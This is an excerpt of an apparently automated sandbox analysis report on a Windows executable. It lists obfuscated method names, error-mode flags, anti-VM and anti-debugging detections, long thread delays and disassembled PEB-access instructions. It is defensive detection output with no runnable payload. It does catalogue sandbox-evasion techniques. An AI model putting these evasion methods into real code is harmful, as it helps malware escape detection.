                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, odV2KLca9LFfl8Ky6N.csHigh entropy of concatenated method names: 'Dispose', 'jf7g9asp8j', 'fhbsy8OKMP', 'fR2Db15Rpv', 'xhcgiXttcD', 'F4CgzVc0Rn', 'ProcessDialogKey', 'SxSsf11ukF', 'bwJsgmoDJY', 'JUZssnOcVj'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, lZ2AGZzww21NRfyb8T.csHigh entropy of concatenated method names: 'tGRd5rEC7U', 'TwKdDH7XxR', 'k9wdMSsulg', 'UXNd8nV1iA', 'JMidy89GYC', 'ojDdRHBJwR', 'TvSdlU4oCo', 'gkidBqc6yh', 'tjTdjwNZuc', 'F5bdQtZQXQ'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, sGA8kloAZf98DI5lE7.csHigh entropy of concatenated method names: 'emT0koRQTx', 'sC30ieBc0E', 'Qk0mfinOBA', 'P8tmgXXDUs', 'rFW0WQBx05', 'dpW0LKQwi7', 'qpR02qZEbg', 'DAf0uZvDI2', 'uvZ0rhX4iF', 'dU60GU7sNJ'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, oOcVj1iQHLTy7SCeeW.csHigh entropy of concatenated method names: 'm1nd4yh9VW', 'UuDdE81edp', 'Y88d3WY4A8', 'NT2dSsN4b6', 'bBwdqiHC8S', 'Kn1dHeyPkl', 'Next', 'Next', 'Next', 'NextBytes'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, CT1dmEGkbj33xbE2qY.csHigh entropy of concatenated method names: 'ToString', 'T7iAWkgW3A', 'hmUAydMdKA', 'EbVAOndKHk', 'wiyARrJDNI', 'ffeAlgS2qa', 'MCqAa0XjYV', 'I0cApfYf1a', 'N5FAPlwIQ5', 'kGlAwSpCdc'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, G3qgYG2hejU1CtFBFi.csHigh entropy of concatenated method names: 'RMdbDjbNyX', 'oEqbM4s7EI', 'Q7eb82y3t7', 'W13byjQfEP', 'JJ8bRvfauu', 'YfsblJQmch', 'yHkbp2J9Gr', 'whBbP5DpHa', 'DDNb6jha69', 'vKObWh65vL'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, eLFB1277E2sjB1soMv.csHigh entropy of concatenated method names: 'fQ90JAeYHW', 'tNE0F6fwYc', 'ToString', 'gPW0X8NBWU', 'NgR0ccfQwR', 'D3604fspc6', 'PcI0EICVyA', 'FjM0377tQt', 'AAc0SHEhnq', 'acu0H8dBM1'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, LUnvR6MXgCGvldfYJf.csHigh entropy of concatenated method names: 'na14IH7UQ1', 'yWk45abtfP', 'fyp4DvgX2F', 'zMw4Mw7T1b', 'Xo24nHBahu', 'yDt4Am0cs2', 'qCo40V9IwO', 'teG4mLrbNf', 'y5i4qQIdJd', 'NkL4dfc3nK'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, dINTQ3t848NQN16sGw.csHigh entropy of concatenated method names: 'Sd7gSyPY3r', 'g4MgHpxA0m', 'NXggJCGvld', 'aYJgFfCltj', 'vqignng4kP', 'sZPgAOcHAD', 'RK68DAO8YiSqEEVtJO', 'R4976qClWesAdgGxFs', 'DA6ggLjSI2', 'EHpgYaVeVI'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, EOaqGjwhkRaGMW2iS0.csHigh entropy of concatenated method names: 'e0rSjyem9W', 'ejpSQOajsm', 'pO4SKJwlrX', 'YvqSIBJ8Eu', 'x1LSvbZkER', 'FkVS5x4Y6b', 'hoeSTZcVXF', 'uppSDtPubM', 'n87SMHBH0t', 'JbYSee5PVA'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, gkPqZP8OcHADVdiyGq.csHigh entropy of concatenated method names: 'GJO3COWQGy', 'AiD3cOvtEC', 'kFZ3Eesd6g', 'VLL3SH1Lpf', 'Ynh3HDUpGs', 'GhuE1nQQ7A', 'K0JEoOxI9k', 'amHENrV0Jn', 'sABEkvT9g1', 'ITWE9q4ws7'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, Y1Afposh8u4ICZZBGU.csHigh entropy of concatenated method names: 'U1KKFRWM6', 'siNIa9NXw', 'FnD5BBw1w', 'a5vTXm9sS', 'rLSM9VtT7', 'hRYeEYWnv', 'ftxdLMXFOlCOlXARiW', 'heSj5NP3lNLL9KX2fO', 'hiwmpOXHQ', 'LUbdl8F0h'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, lv5dENggqWsRb4mwEDW.csHigh entropy of concatenated method names: 'NYDdil2yxA', 'NBudzk5ipy', 'D5EUfkD0G8', 'cObUgVM18I', 'FHoUsLEyUL', 'QAqUYHVrxq', 'Sh0UtZVZRG', 'v8wUCLfHKB', 'SBHUXiEjw4', 'zr6Uc9SOsc'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, jw2dS3ujJ9P8c3rIiw.csHigh entropy of concatenated method names: 'cbon6Mf2Aj', 'cgcnLZTqeV', 'hLZnuttkBx', 'zSanrxTJok', 'FBYnyeyb6c', 'TOGnONeKnc', 'qn8nR1Dwlx', 'pGEnlaVPxf', 'aFSnaUCxIH', 'E7Lnp27TKe'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, aJRL0jN8rSf7asp8jj.csHigh entropy of concatenated method names: 'pXZqn2EwtX', 'PkNq0VYuyS', 'c73qq3APRu', 'j76qUnyfOm', 'QOtqhhfaWa', 'L0OqBdbiuP', 'Dispose', 'wCfmXGPJfx', 'bv5mcXoonS', 'Edum41ukDb'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, VZ3mJNgfRs9ClEBDu95.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'NOxdWSvW3w', 'HVbdLJwBvy', 'eoud2WbEDs', 'OTydu8qWos', 'yCKdr9gUsd', 'VBedGIbTaX', 'npgd7INMPu'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, z6WN06pqfu4Yg85T3i.csHigh entropy of concatenated method names: 'i9LSX58ZEv', 'SvZS4AWYkf', 'XFfS3SFh5h', 'ICM3iQpusD', 'SRe3zDyfrt', 'wCqSfmrKey', 'NQbSgUGhX6', 'qRGSsQCWQk', 'OZgSYPnY0Y', 'ppaStCXxKH'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, zPcC5PHG9smMWw2L6U.csHigh entropy of concatenated method names: 'PRpYClwTy4', 'RnsYX2MVyU', 'K9CYcUMVdU', 'JSaY40RXlR', 'uI7YEQgGhG', 'P0TY3iPQVH', 'oRcYSeo6sv', 'oHuYHJMV6P', 'pW8YxSXjrF', 'Wb3YJaSAA9'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, fWLVjYgt1jZFHEmGHER.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'HLdVqr5Mj4', 'A0MVdggaYT', 'z4hVU5PLJ9', 'RQ4VVnQqwK', 'tteVh8BV5x', 'gR4VZrljjI', 'S3FVB5mKLT'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, TyPY3rDc4MpxA0mTbp.csHigh entropy of concatenated method names: 'jnXcujoU5L', 'TmDcrTfvls', 'VeIcGaHA4N', 'o1Hc747N5p', 'uvmc1DvBB9', 'kyNcoO0dSj', 'HvocNp21oF', 'FsJckl2aKW', 'DyRc9apOMi', 'jYjciapAiW'
                Source: 1.2.6KzB3ReZ6z.exe.442d118.0.raw.unpack, j11ukF9gwJmoDJYlUZ.csHigh entropy of concatenated method names: 'yEXq8JZW0q', 'CD2qy661YS', 'e2aqOfSqZE', 'nBsqR1g5yh', 'VuyqlMZA0B', 'pQYqaVvw2U', 'Q4uqpXpe47', 'ynRqPBjk0t', 'b6QqwEihit', 'Bi8q6IaiaH'
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\net.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\net.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\net.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\net.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\net.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Yara detected AntiVM3
                Source: Yara matchFile source: Process Memory Space: 6KzB3ReZ6z.exe PID: 3640, type: MEMORYSTR
                Switches to a custom stack to bypass stack traces
                Source: C:\Windows\SysWOW64\net.exeAPI/Special instruction interceptor: Address: 7FFCC372D324
                Source: C:\Windows\SysWOW64\net.exeAPI/Special instruction interceptor: Address: 7FFCC372D7E4
                Source: C:\Windows\SysWOW64\net.exeAPI/Special instruction interceptor: Address: 7FFCC372D944
                Source: C:\Windows\SysWOW64\net.exeAPI/Special instruction interceptor: Address: 7FFCC372D504
                Source: C:\Windows\SysWOW64\net.exeAPI/Special instruction interceptor: Address: 7FFCC372D544
                Source: C:\Windows\SysWOW64\net.exeAPI/Special instruction interceptor: Address: 7FFCC372D1E4
                Source: C:\Windows\SysWOW64\net.exeAPI/Special instruction interceptor: Address: 7FFCC3730154
                Source: C:\Windows\SysWOW64\net.exeAPI/Special instruction interceptor: Address: 7FFCC372DA44
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMemory allocated: BF0000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMemory allocated: 2900000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMemory allocated: 2700000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMemory allocated: 8850000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMemory allocated: 9850000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMemory allocated: 9A50000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMemory allocated: AA50000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMemory allocated: B560000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeMemory allocated: C560000 memory reserve | memory write watchJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D096E rdtsc 2_2_014D096E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\net.exeWindow / User API: threadDelayed 9815Jump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeAPI coverage: 0.7 %
                Source: C:\Windows\SysWOW64\net.exeAPI coverage: 2.7 %
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exe TID: 2588Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\net.exe TID: 7488Thread sleep count: 158 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\net.exe TID: 7488Thread sleep time: -316000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\net.exe TID: 7488Thread sleep count: 9815 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\net.exe TID: 7488Thread sleep time: -19630000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\net.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\net.exeLast function: Thread delayed
                Source: C:\Windows\SysWOW64\net.exeCode function: 9_2_0087CCD0 FindFirstFileW,FindNextFileW,FindClose,9_2_0087CCD0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: lAXvz0QHVL.exe, 0000000A.00000002.2465693061.0000000001249000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllu
                Source: firefox.exe, 0000000B.00000002.1854655782.000002274DD4C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllxxl
                Source: net.exe, 00000009.00000002.2464105651.0000000002C63000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\SysWOW64\net.exeProcess queried: DebugPortJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D096E rdtsc 2_2_014D096E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_00417EB3 LdrLoadDll,2_2_00417EB3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01528158 mov eax, dword ptr fs:[00000030h]2_2_01528158
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01524144 mov eax, dword ptr fs:[00000030h]2_2_01524144
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01524144 mov eax, dword ptr fs:[00000030h]2_2_01524144
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01524144 mov ecx, dword ptr fs:[00000030h]2_2_01524144
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01524144 mov eax, dword ptr fs:[00000030h]2_2_01524144
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01524144 mov eax, dword ptr fs:[00000030h]2_2_01524144
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01496154 mov eax, dword ptr fs:[00000030h]2_2_01496154
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01496154 mov eax, dword ptr fs:[00000030h]2_2_01496154
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148C156 mov eax, dword ptr fs:[00000030h]2_2_0148C156
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01564164 mov eax, dword ptr fs:[00000030h]2_2_01564164
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01564164 mov eax, dword ptr fs:[00000030h]2_2_01564164
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01550115 mov eax, dword ptr fs:[00000030h]2_2_01550115
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153A118 mov ecx, dword ptr fs:[00000030h]2_2_0153A118
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153A118 mov eax, dword ptr fs:[00000030h]2_2_0153A118
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153A118 mov eax, dword ptr fs:[00000030h]2_2_0153A118
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153A118 mov eax, dword ptr fs:[00000030h]2_2_0153A118
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E10E mov eax, dword ptr fs:[00000030h]2_2_0153E10E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E10E mov ecx, dword ptr fs:[00000030h]2_2_0153E10E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E10E mov eax, dword ptr fs:[00000030h]2_2_0153E10E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E10E mov eax, dword ptr fs:[00000030h]2_2_0153E10E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E10E mov ecx, dword ptr fs:[00000030h]2_2_0153E10E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E10E mov eax, dword ptr fs:[00000030h]2_2_0153E10E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E10E mov eax, dword ptr fs:[00000030h]2_2_0153E10E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E10E mov ecx, dword ptr fs:[00000030h]2_2_0153E10E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E10E mov eax, dword ptr fs:[00000030h]2_2_0153E10E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0153E10E mov ecx, dword ptr fs:[00000030h]2_2_0153E10E
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C0124 mov eax, dword ptr fs:[00000030h]2_2_014C0124
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E1D0 mov eax, dword ptr fs:[00000030h]2_2_0150E1D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E1D0 mov eax, dword ptr fs:[00000030h]2_2_0150E1D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E1D0 mov ecx, dword ptr fs:[00000030h]2_2_0150E1D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E1D0 mov eax, dword ptr fs:[00000030h]2_2_0150E1D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0150E1D0 mov eax, dword ptr fs:[00000030h]2_2_0150E1D0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015561C3 mov eax, dword ptr fs:[00000030h]2_2_015561C3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015561C3 mov eax, dword ptr fs:[00000030h]2_2_015561C3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015661E5 mov eax, dword ptr fs:[00000030h]2_2_015661E5
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014C01F8 mov eax, dword ptr fs:[00000030h]2_2_014C01F8
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D0185 mov eax, dword ptr fs:[00000030h]2_2_014D0185
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151019F mov eax, dword ptr fs:[00000030h]2_2_0151019F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151019F mov eax, dword ptr fs:[00000030h]2_2_0151019F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151019F mov eax, dword ptr fs:[00000030h]2_2_0151019F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151019F mov eax, dword ptr fs:[00000030h]2_2_0151019F
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01534180 mov eax, dword ptr fs:[00000030h]2_2_01534180
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01534180 mov eax, dword ptr fs:[00000030h]2_2_01534180
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0154C188 mov eax, dword ptr fs:[00000030h]2_2_0154C188
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0154C188 mov eax, dword ptr fs:[00000030h]2_2_0154C188
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148A197 mov eax, dword ptr fs:[00000030h]2_2_0148A197
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148A197 mov eax, dword ptr fs:[00000030h]2_2_0148A197
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148A197 mov eax, dword ptr fs:[00000030h]2_2_0148A197
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01516050 mov eax, dword ptr fs:[00000030h]2_2_01516050
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01492050 mov eax, dword ptr fs:[00000030h]2_2_01492050
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014BC073 mov eax, dword ptr fs:[00000030h]2_2_014BC073
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01514000 mov ecx, dword ptr fs:[00000030h]2_2_01514000
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01532000 mov eax, dword ptr fs:[00000030h]2_2_01532000
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01532000 mov eax, dword ptr fs:[00000030h]2_2_01532000
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01532000 mov eax, dword ptr fs:[00000030h]2_2_01532000
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01532000 mov eax, dword ptr fs:[00000030h]2_2_01532000
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01532000 mov eax, dword ptr fs:[00000030h]2_2_01532000
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01532000 mov eax, dword ptr fs:[00000030h]2_2_01532000
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01532000 mov eax, dword ptr fs:[00000030h]2_2_01532000
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01532000 mov eax, dword ptr fs:[00000030h]2_2_01532000
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AE016 mov eax, dword ptr fs:[00000030h]2_2_014AE016
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AE016 mov eax, dword ptr fs:[00000030h]2_2_014AE016
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AE016 mov eax, dword ptr fs:[00000030h]2_2_014AE016
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014AE016 mov eax, dword ptr fs:[00000030h]2_2_014AE016
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01526030 mov eax, dword ptr fs:[00000030h]2_2_01526030
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148A020 mov eax, dword ptr fs:[00000030h]2_2_0148A020
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148C020 mov eax, dword ptr fs:[00000030h]2_2_0148C020
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015120DE mov eax, dword ptr fs:[00000030h]2_2_015120DE
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014980E9 mov eax, dword ptr fs:[00000030h]2_2_014980E9
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148A0E3 mov ecx, dword ptr fs:[00000030h]2_2_0148A0E3
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015160E0 mov eax, dword ptr fs:[00000030h]2_2_015160E0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0148C0F0 mov eax, dword ptr fs:[00000030h]2_2_0148C0F0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014D20F0 mov ecx, dword ptr fs:[00000030h]2_2_014D20F0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0149208A mov eax, dword ptr fs:[00000030h]2_2_0149208A
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_014880A0 mov eax, dword ptr fs:[00000030h]2_2_014880A0
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015560B8 mov eax, dword ptr fs:[00000030h]2_2_015560B8
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015560B8 mov ecx, dword ptr fs:[00000030h]2_2_015560B8
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_015280A8 mov eax, dword ptr fs:[00000030h]2_2_015280A8
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_01538350 mov ecx, dword ptr fs:[00000030h]2_2_01538350
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0155A352 mov eax, dword ptr fs:[00000030h]2_2_0155A352
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeCode function: 2_2_0151035C mov eax, dword ptr fs:[00000030h]2_2_0151035C
